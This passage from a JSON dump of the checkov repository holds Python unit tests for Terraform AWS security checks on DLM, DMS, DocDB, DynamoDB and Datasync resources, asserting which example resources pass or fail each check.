    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.DLMEventsCrossRegionEncryptionWithCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDLMEventsCrossRegionEncryptionWithCMK(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DLMEventsCrossRegionEncryptionWithCMK\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_dlm_lifecycle_policy.pass\",\n        }\n        failing_resources = {\n            \"aws_dlm_lifecycle_policy.fail\",\n            \"aws_dlm_lifecycle_policy.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_DLMScheduleCrossRegionEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.DLMScheduleCrossRegionEncryption import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDLMScheduleCrossRegionEncryption(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DLMScheduleCrossRegionEncryption\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_dlm_lifecycle_policy.pass\",\n        }\n        failing_resources = {\n            \"aws_dlm_lifecycle_policy.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_DLMScheduleCrossRegionEncryptionWithCMK.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.DLMScheduleCrossRegionEncryptionWithCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDLMScheduleCrossRegionEncryptionWithCMK(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DLMScheduleCrossRegionEncryptionWithCMK\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_dlm_lifecycle_policy.pass\",\n        }\n        failing_resources = {\n            \"aws_dlm_lifecycle_policy.fail\",\n            \"aws_dlm_lifecycle_policy.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_DMSEndpointUsesCMK.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.DMSEndpointUsesCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDMSEndpointUsesCMK(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DMSEndpointUsesCMK\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_dms_endpoint.pass\",\n            \"aws_dms_endpoint.pass2\",\n            \"aws_dms_endpoint.pass3\",\n            \"aws_dms_endpoint.pass4\",\n        }\n        failing_resources = {\n            \"aws_dms_endpoint.fail\",\n            \"aws_dms_endpoint.fail2\",\n            \"aws_dms_endpoint.fail3\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_DMSReplicationInstanceEncryptedWithCMK.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.DMSReplicationInstanceEncryptedWithCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDMSReplicationInstanceEncryptedWithCMK(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DMSReplicationInstanceEncryptedWithCMK\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_dms_replication_instance.pass\",\n        }\n        failing_resources = {\n            \"aws_dms_replication_instance.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_DMSReplicationInstanceMinorUpgrade.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.DMSReplicationInstanceMinorUpgrade import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDMSReplicationInstanceMinorUpgrade(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DMSReplicationInstanceMinorUpgrade\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_dms_replication_instance.pass\",\n        }\n        failing_resources = {\n            \"aws_dms_replication_instance.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_DMSReplicationInstancePubliclyAccessible.py",
    "content": "import unittest\nimport hcl2\n\nfrom checkov.terraform.checks.resource.aws.DMSReplicationInstancePubliclyAccessible import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestDMSReplicationInstancePubliclyAccessible(unittest.TestCase):\n\n\n    def test_failure_set_public(self):\n        hcl_res = hcl2.loads(\"\"\"\n          resource \"aws_dms_replication_instance\" \"public\" {\n            engine_version               = \"3.1.4\"\n            multi_az                     = false\n            publicly_accessible          = true\n            replication_instance_class   = \"dms.t2.micro\"\n            replication_instance_id      = \"test-dms-replication-instance-tf\"\n          }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_dms_replication_instance']['public']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success_set_private(self):\n        hcl_res = hcl2.loads(\"\"\"\n          resource \"aws_dms_replication_instance\" \"private\" {\n            engine_version               = \"3.1.4\"\n            multi_az                     = false\n            publicly_accessible          = false\n            replication_instance_class   = \"dms.t2.micro\"\n            replication_instance_id      = \"test-dms-replication-instance-tf\"\n          }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_dms_replication_instance']['private']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_default(self):\n        hcl_res = hcl2.loads(\"\"\"\n          resource \"aws_dms_replication_instance\" \"private\" {\n            engine_version               = \"3.1.4\"\n            multi_az                     = false\n            replication_instance_class   = \"dms.t2.micro\"\n            replication_instance_id      = \"test-dms-replication-instance-tf\"\n          }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_dms_replication_instance']['private']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_DMSS3UsesCMK.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.DMSS3UsesCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDMSS3UsesCMK(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DMSS3UsesCMK\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_dms_s3_endpoint.pass\",\n            \"aws_dms_s3_endpoint.pass2\",\n        }\n        failing_resources = {\n            \"aws_dms_s3_endpoint.fail\",\n            \"aws_dms_s3_endpoint.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_DatasyncLocationExposesSecrets.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.DatasyncLocationExposesSecrets import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDatasyncLocationExposesSecrets(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DatasyncLocationExposesSecrets\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_datasync_location_object_storage.pass\",\n        }\n        failing_resources = {\n            \"aws_datasync_location_object_storage.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_DeprecatedLambdaRuntime.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.DeprecatedLambdaRuntime import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDeprecatedLambdaRuntime(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_DeprecatedLambdaRuntime\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_lambda_function.pass\",\n        }\n\n        failing_resources = {\n            \"aws_lambda_function.fail\",\n            \"aws_lambda_function.fail2\",\n        }\n\n        skipped_resources = {}\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_DocDBAuditLogs.py",
    "content": "import unittest\nimport hcl2\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.aws.DocDBAuditLogs import check\n\n\nclass TestDocDBAuditLogs(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"aws_docdb_cluster_parameter_group\" \"test\" {\n                  family      = \"docdb3.6\"\n                  name        = \"test\"\n                  description = \"docdb cluster parameter group\"\n\n                  parameter {\n                    name  = \"tls\"\n                    value = \"disabled\"\n                  }\n\n                  parameter {\n                    name  = \"audit_logs\"\n                    value = \"disabled\"\n                  }\n                }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_docdb_cluster_parameter_group']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_no_parameters(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"aws_docdb_cluster_parameter_group\" \"test\" {\n                  family      = \"docdb3.6\"\n                  name        = \"test\"\n                  description = \"docdb cluster parameter group\"\n                }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_docdb_cluster_parameter_group']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success_with_parameters(self):\n        for accepted_value in [\"enabled\", \"ddl\", \"all\", \"ddl, dml_write\"]:\n            hcl_res = hcl2.loads(f\"\"\"\n                    resource \"aws_docdb_cluster_parameter_group\" \"test\" {{\n                      family      = \"docdb3.6\"\n                      name        = \"test\"\n                      description = \"docdb cluster parameter group\"\n\n                      parameter {{\n                        name  = \"audit_logs\"\n                        value = \"{accepted_value}\"\n                      }}\n                    }}\n            \"\"\")\n            resource_conf = hcl_res['resource'][0]['aws_docdb_cluster_parameter_group']['test']\n            scan_result = check.scan_resource_conf(conf=resource_conf)\n            self.assertEqual(CheckResult.PASSED, scan_result)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_DocDBBackupRetention.py",
    "content": "import unittest\n\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.aws.DocDBBackupRetention import check\n\n\nclass TestDocDBBackupRetention(unittest.TestCase):\n\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_DocDBBackupRetention\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_docdb_cluster.pass\",\n        }\n        failing_resources = {\n            \"aws_docdb_cluster.fail_no_value\",\n            \"aws_docdb_cluster.fail_value_not_adequate\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], 3)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_DocDBEncryptedWithCMK.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.DocDBEncryptedWithCMK import check\nfrom checkov.terraform.runner import Runner\n\nclass TestDocDBEncryptedWithCMK(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DocDBEncryptedWithCMK\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_docdb_cluster.pass\",\n        }\n        failing_resources = {\n            \"aws_docdb_cluster.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_DocDBEncryption.py",
    "content": "import unittest\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.aws.DocDBEncryption import check\n\n\nclass TestDocDBEncryption(unittest.TestCase):\n\n    def test_failure(self):\n        resource_conf = {\"cluster_identifier\": \"my-docdb-cluster\",\n                         \"storage_encrypted\": False}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {\"cluster_identifier\": \"my-docdb-cluster\",\n                         \"storage_encrypted\": True}\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_DocDBGlobalClusterEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.DocDBGlobalClusterEncryption import check\nfrom checkov.terraform.runner import Runner\n\nclass TestDocDBGlobalClusterEncryption(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DocDBGlobalClusterEncryption\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_docdb_global_cluster.pass\",\n        }\n        failing_resources = {\n            \"aws_docdb_global_cluster.fail\",\n            \"aws_docdb_global_cluster.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_DocDBLogging.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.DocDBLogging import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDocDBLogging(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_DocDBLogging\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_docdb_cluster.pass_single\",\n            \"aws_docdb_cluster.pass_double\",\n        }\n        failing_resources = {\n            \"aws_docdb_cluster.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_DocDBTLS.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.aws.DocDBTLS import check\n\n\nclass TestDocDBTLS(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"aws_docdb_cluster_parameter_group\" \"test\" {\n                  family      = \"docdb3.6\"\n                  name        = \"test\"\n                  description = \"docdb cluster parameter group\"\n\n                  parameter {\n                    name  = \"tls\"\n                    value = \"disabled\"\n                  }\n\n                  parameter {\n                    name  = \"other-param\"\n                    value = \"enabled\"\n                  }\n                }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_docdb_cluster_parameter_group']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success_no_parameters(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"aws_docdb_cluster_parameter_group\" \"test\" {\n                  family      = \"docdb3.6\"\n                  name        = \"test\"\n                  description = \"docdb cluster parameter group\"\n                }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_docdb_cluster_parameter_group']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_with_parameters(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"aws_docdb_cluster_parameter_group\" \"test\" {\n                  family      = \"docdb3.6\"\n                  name        = \"test\"\n                  description = \"docdb cluster parameter group\"\n\n                  parameter {\n                    name  = \"tls\"\n                    value = \"enabled\"\n                  }\n                }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_docdb_cluster_parameter_group']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_DynamoDBTableReplicaKMSUsesCMK.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.DynamoDBTableReplicaKMSUsesCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDynamoDBTableReplicaKMSUsesCMK(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_DynamoDBTableReplicaKMSUsesCMK\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_dynamodb_table_replica.pass\",\n        }\n        failing_resources = {\n            \"aws_dynamodb_table_replica.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_DynamoDBTablesEncrypted.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.DynamoDBTablesEncrypted import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDynamoDBTablesEncrypted(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DynamoDBTablesEncrypted\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_dynamodb_table.cmk\",\n        }\n        failing_resources = {\n            \"aws_dynamodb_table.default\",\n            \"aws_dynamodb_table.encrypted_false\",\n            \"aws_dynamodb_table.encrypted_no_cmk\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 3)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_DynamodbRecovery.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.aws.DynamodbRecovery import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestDynamodbRecovery(unittest.TestCase):\n    def test_failure(self):\n        resource_conf = {\n            \"name\": [\"violations_for_resources${var.unique_tag}\"],\n            \"billing_mode\": [\"PAY_PER_REQUEST\"],\n            \"hash_key\": [\"id\"],\n            \"range_key\": [\"violation_id\"],\n            \"local_secondary_index\": [\n                {\"name\": [\"violation_id_index\"], \"projection_type\": [\"ALL\"], \"range_key\": [\"violation_id\"]}\n            ],\n            \"global_secondary_index\": [\n                {\n                    \"hash_key\": [\"violation_id\"],\n                    \"name\": [\"violation_id-aws_account_id-index\"],\n                    \"range_key\": [\"aws_account_id\"],\n                    \"projection_type\": [\"ALL\"],\n                }\n            ],\n            \"attribute\": [\n                {\"name\": [\"id\"], \"type\": [\"S\"]},\n                {\"name\": [\"violation_id\"], \"type\": [\"S\"]},\n                {\"name\": [\"aws_account_id\"], \"type\": [\"S\"]},\n            ],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {\n            \"name\": [\"violations_for_resources${var.unique_tag}\"],\n            \"billing_mode\": [\"PAY_PER_REQUEST\"],\n            \"hash_key\": [\"id\"],\n            \"range_key\": [\"violation_id\"],\n            \"local_secondary_index\": [\n                {\"name\": [\"violation_id_index\"], \"projection_type\": [\"ALL\"], \"range_key\": [\"violation_id\"]}\n            ],\n            \"global_secondary_index\": [\n                {\n                    \"hash_key\": [\"violation_id\"],\n                    \"name\": [\"violation_id-aws_account_id-index\"],\n                    \"range_key\": [\"aws_account_id\"],\n                    \"projection_type\": [\"ALL\"],\n                }\n            ],\n            \"attribute\": [\n                {\"name\": [\"id\"], \"type\": [\"S\"]},\n                {\"name\": [\"violation_id\"], \"type\": [\"S\"]},\n                {\"name\": [\"aws_account_id\"], \"type\": [\"S\"]},\n            ],\n            \"point_in_time_recovery\": [{\"enabled\": [True]}],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_EBSDefaultEncryption.py",
